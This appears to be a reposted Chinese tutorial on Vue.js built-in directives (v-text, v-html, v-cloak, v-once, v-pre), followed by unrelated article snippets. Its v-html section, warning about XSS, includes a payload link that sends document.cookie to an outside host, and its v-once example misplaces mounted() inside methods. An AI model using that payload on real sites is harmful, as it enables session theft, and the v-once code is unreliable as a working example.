【Vue】内置指令真的很常用!

news2024/12/28 20:28:13

内置指令

v-text

  • v-text用于将一个变量的值渲染为元素的文本内容

  • 注意v-text只能接受字符串类型的值,对于对象类型,会调用toString()方法

  • 与插值表达式区别就是它会替换标签中的值,只显示它绑定的(还是插值语法用的多~)

语法

<元素 v-text="变量名"></元素>

举例

<div id="app">
  <p v-text="message">我不会显示,这些内容会被替换</p>
</div>

<script>
var app = new Vue({
  el: '#app',
  data: {
    message: 'Hello Vue!'
  }
});
</script>

这里v-text将message变量值直接作为p元素的内容文本插入

最终显示Hello Vue!

image-20230825015900755

v-html

  • v-html 会解析 HTML 标签,而v-text不会解析
  • v-html 可以渲染 HTML,但有安全风险,容易导致 XSS 攻击,在可控环境下使用

image-20230825203219754

image-20230825203133348

可以利用各种手段获取我们的cookie,获取我们的信息,进行免登录等等

<div v-html="str"></div>
data:{
// 部分网站设置了httpOnly,httpOnly限制的用document.cookie读取不了
      str:'<a href=JS:location.href="http://www.baidu.com?"+document.cookie>快点我,10w+等我们来</a>',
    }

v-cloak

关键点

  • 通过 CSS 隐藏未编译的内容
  • 在编译结束后自动删除,恢复元素的显示

不知道我们有没有考虑过一个问题,

插值语法也叫做Mustache语法,下面要是说到Mustache语法,要知道它就是插值语法,也就是两个大括号{{}}

假设写一些代码

核心代码如下:

<h1>{{message}}</h1>

data: { message: '即兴小索奇'}

现在有一个需求,页面需要过一会再解析vue,此时VM不会解析页面显示data中数据,会显示如下内容,

image-20230825223221717

过一会才显示页面

image-20230825223310992

v-cloak用于隐藏未编译的 Mustache 语法,也就是说在 Vue 实例初始化渲染之前,会先隐藏带有 v-cloak 的元素(coak :n.斗篷、遮盖物、v.遮盖的意思)

v-cloak 的使用方式:

// 在样式里面定义
[v-cloak] {
  display: none; 
}

在带有未编译 Mustache 语法的元素上加上 v-cloak 属性:

<div v-cloak>
  {{ message }}
</div>
  • 在 Vue 初始化之前,只要含有v-cloak的,这个元素都会隐藏起来

  • 当 Vue 实例初始化完成,编译结束后,会自动删除 v-cloak 属性,display也就不会限制含有v-cloak的标签了,这样元素就会显示出来

它主要用于解决初始化页面时 Mustache 语法 {{ }} 闪烁的问题正常情况下用户会先看到未编译的 Mustache 标签,然后 Vue 编译完后会替换成实际内容,这个过程会让页面闪烁

再举一个简单例子,我们现在用的2G网,网速有一点点慢,自然解析就会慢下来,就会出现上面的闪烁情况

使用 v-cloak 可以避免这个问题,它会先隐藏未编译的内容,等 Vue 初始化结束后再显示出来,这样就可以避免闪烁啦

v-once

使用 v-once 的元素或组件在初始化后,会被视为静态内容,之后数据改变时不会引起它们重新渲染

主要的使用场景有:

  • 优化性能:如果元素包含大量静态内容,很少更新,可以使用 v-once 进行优化,避免不必要的重渲染开销

  • 避免意外数据变更:在不能更改的静态元素上使用 v-once,也会避免数据在其他地方被更改时,导致它们也跟着不必要的更新

<!-- 元素 -->  
<div v-once>静态内容</div>

注意:

  • v-once是灭有值的哈

  • v-for 指令优先级比 v-once 高,v-once 不会影响 v-for 的正常工作

  • 如果根元素上使用了 v-once,那么整个组件都会成为静态的

针对根元素使用v-once这里小索奇用简单的代码列举一下

<div id="app">

  <div v-once>
  
    <h1>{{title}}</h1>
  
  </div>

</div>

<script>

var app = new Vue({

  el: '#app',

  data: {
    title: 'Hello Java'
  },

  methods: {
  // 不懂mounted钩子函数的话,这里简单理解为不用调用自动执行的就行
    mounted() {
      setTimeout(() => {
        this.title = 'Hello Vue'
      }, 1000)
    }
  }

})

</script>

主要就是实现了

页面等了一百年之后它还是Hello Java,都没有变成Hello Vue!

image-20230825235758374

说明啥?v-once页面不渲染->没有执行this.title = 'Hello Vue' ->根节点的v-once奏效

当元素是静态的,确实不需要元素再次更新时可以用到这个v-once

v-pre

v-pre是一个Vue指令,它的作用是跳过元素的编译过程,直接输出原始内容,精髓就是这几个字

作用

  • 跳过元素和它的子元素的编译过程,效率会更高一点点
  • 显示原始 Mustache 标签
  • 避免模板被错误解析

示例

<div v-pre>
  今天气温是{{ temperature }} 
</div>

渲染结果:

今天气温是{{ temperature }}

image-20230826002258714

Mustache 语法被直接输出,没有被 Vue 编译

使用场景

  • 需要显示 Mustache 标签本身
  • 避免模板被错误解析成 Vue 语法

v-pre 它跳过元素的编译过程,直接输出原始内容,只有在特殊需要显示原始 Mustache 时才使用它

它的主要作用就是为了避免错误解析模板

举个栗子

加上v-pre

image-20230826002618210

删除v-pre

image-20230826002412436

就会解析Mustache语法了

大白话:我们写啥样子,它就显示啥样子

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1214355.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

荧光量子效率积分球检测薄膜需要注意什么

荧光量子效率积分球是一种特殊的积分球&#xff0c;它可以用于测量荧光材料在特定波长下的荧光量子效率。它由一个具有高朗伯特性的漫反射材料制成&#xff0c;具有高达99%的反射率和朗伯特性。荧光量子效率积分球的使用方法包括将样品放置在积分球的样品口中&#xff0c;调整激…

Postman的Cookie鉴权

近期在复习Postman的基础知识&#xff0c;在小破站上跟着百里老师系统复习了一遍&#xff0c;也做了一些笔记&#xff0c;希望可以给大家一点点启发。 一&#xff09;什么是Cookie 定义&#xff1a;存储在客户端的一小段文本信息&#xff0c;格式为键值对的形式. 二&#xff09…

Adobe Illustrator——原创设计的宝藏软件

今天&#xff0c;我们来谈谈一款在Adobe系列中曾经多次给大家都提到的原创性极强的设计理念丰富的矢量图形编辑软件——Adobe Illustrator。 Adobe Illustrator&#xff0c;其定位是一款与Photoshop相类似对矢量图形进行编辑的软件。 Adobe Illustrator&#xff0c;作为全球最著…

postman导入请求到jmeter进行简单压测,开发同学一学就会

背景# 这个事情也是最近做的&#xff0c;因为线上nginx被我换成了openresty&#xff0c;然后接入层服务也做了较大改动&#xff0c;虽然我们这个app&#xff08;内部办公类&#xff09;并发不算高&#xff0c;但好歹还是压测一下&#xff0c;上线时心里也稳一点。 于是用jmet…

js添加dom到指定div之后,并给添加的dom类名,然后设置其样式,以及el-popover层级z-index过高问题解决。

遇到一个需求,Vue项目做一个表格,要求表头与表格内容分开,如下效果所示,表头与表格有个高度间隔边距(箭头所示),因为默认我们的el-table的表头与内容是一起的: 思路:通过querySelector获取el-table__header-wrapper元素,通过createElement创建一个div,通过 newElem…

pg_bouncer在使用中的坑勿踩

目录 简介 环境信息 问题配置 问题配置 启动pgbouncer 链接逻辑图 测试存在问题 pgadmin4 Idea JAVA调用 ​编辑 dbeaver 建议&#xff1a; 简介 前面文章说过关于pg_bouncer的安装讲解&#xff0c;这里讲一下在使用中的坑&#xff0c;在进行配置的时候需要注意。 …

YOLOv7独家原创改进:最新原创WIoU_NMS改进点,改进有效可以直接当做自己的原创改进点来写,提升网络模型性能精度

💡该教程为属于《芒果书》📚系列,包含大量的原创首发改进方式, 所有文章都是全网首发原创改进内容🚀 💡本篇文章为YOLOv7独家原创改进:独家首发最新原创WIoU_NMS改进点,改进有效可以直接当做自己的原创改进点来写,提升网络模型性能精度。 💡对自己数据集改进有效…

Android Glide照片宫格RecyclerView,点击SharedElement共享元素动画查看大图,Kotlin(1)

Android Glide照片宫格RecyclerView&#xff0c;点击SharedElement共享元素动画查看大图&#xff0c;Kotlin&#xff08;1&#xff09; <uses-permission android:name"android.permission.READ_EXTERNAL_STORAGE" /><uses-permission android:name"an…

Axure9 基本操作(二)

1. 文本框、文本域 文本框&#xff1a;快速实现提示文字与不同类型文字显示的效果。 2. 下拉列表、列表框 下拉列表&#xff1a;快速实现下拉框及默认显示项的效果。 3. 复选框、单选按钮 4.

module pandas has no attribute Int64Index

pandas报错 pandas 报错解决 pandas 报错 module pandas has no attribute Int64Index 解决 将pandas将为1.1.3版本即可pip uninstall pandas pip install pandas1.1.3 -i https://pypi.tuna.tsinghua.edu.cn/simple/

Python数据容器通用操作

通用操作 1.数据容器可以从以下视角进行简单的分类2.数据容器特点对比3.数据容器的通用操作4.功能总览5.字符串大小比较 1.数据容器可以从以下视角进行简单的分类 是否支持下标索引 支持&#xff1a;列表、元组、字符串 --序列类型不支持&#xff1a;集合、字典 --非序列类型 …

一周65多篇文章,SEER的热度又回来了|SEER数据库周报(11.2)

欢迎参加郑老师2023年孟德尔随机化课程 发表文章后退款&#xff01;孟德尔随机化方法快速撰写SCI论文” &#xff0c;11.18-11.19 SEER&#xff08;The Surveillance, Epidemiology, and End Results&#xff09;数据库是由美国国立癌症研究所于 1973 年建立&#xff0c;是美国…

CCF CSP认证历年题目自练Day46

兄弟们记得去官网报名CSP认证。 题目 试题编号&#xff1a; 201709-3 试题名称&#xff1a; JSON查询 时间限制&#xff1a; 1.0s 内存限制&#xff1a; 256.0MB 问题描述&#xff1a; 问题描述   JSON (JavaScript Object Notation) 是一种轻量级的数据交换格式&#xff…

大数据Hadoop之——部署hadoop+hive+Mysql环境(Linux)

目录 一、JDK的安装 1、安装jdk 2、配置Java环境变量 3、加载环境变量 4、进行校验 二、hadoop的集群搭建 1、hadoop的下载安装 2、配置文件设置 2.1. 配置 hadoop-env.sh 2.2. 配置 core-site.xml 2.3. 配置hdfs-site.xml 2.4. 配置 yarn-site.xml 2.5. 配置 ma…

11-15 周三 softmax 回归学习

11-15 周三 softmax 回归学习 时间版本修改人描述2023年11月15日11:17:27V0.1宋全恒新建文档 简介 softmax分享可以参考什么是softmax 回归估计一个连续值&#xff0c;分类预测一个离散类别。 恶意软件的判断 回归和分类 分类可以认为从回归的单输出变成多输出 B站学习 softm…

RT-DETR优化改进:IoU系列篇 | Inner-IoU融合MPDIoU,创新十足,2023年11月最新IoU改进

🚀🚀🚀本文改进: Inner-IoU(基于辅助边框的IoU损失)结合MPDIoU进行创新,创新十足,全网首发 🚀🚀🚀RT-DETR改进创新专栏:http://t.csdnimg.cn/vuQTz 学姐带你学习YOLOv8,从入门到创新,轻轻松松搞定科研; RT-DETR模型创新优化,涨点技巧分享,科研小助手…

轻量封装WebGPU渲染系统示例<33>- 单精度浮点纹理(源码)

在WebGPU中创建纹理使用纹理很方便&#xff0c;只是js中只有Float32Array而默认不支持Float16Array&#xff0c;所以略微费点事。不过网上的大神多的是&#xff0c;摇摇小手就能获得解决方案。 废话多了容易挨胖揍&#xff0c;看代码。 js中float16单精度float数值转换: // …

【vue2绘制echarts环状图】vue2使用echarts绘制环状图

效果图&#xff1a; 鼠标悬浮的效果图&#xff1a; 1&#xff1a;安装echarts yarn add echarts5.3.2 或 npm install echarts5.3.2 --save2.局部引入使用 在vue页面引入 <template><div><divref"myChart"style"{width: 400px;height: 350…

C语言再学习 -- 编程规范

C语言编程规范这部分一直想总结一下。现在终于付诸行动了。 其实之前讲过一些面试题&#xff0c;参看&#xff1a;嵌入式面试知识点总结 – C语言篇 里面已经有包含一部分了&#xff0c;比如《高质量C C编程指南》.林锐着.pdf。 此次主要参考 华为技术有限公司c语言编程规范 …

Radau Quadrature

https://mathworld.wolfram.com/RadauQuadrature.html 这一部分&#xff0c;见书籍《JShen_TTang_LLWang_Spectral Methods-Algorithms Analysis and applications》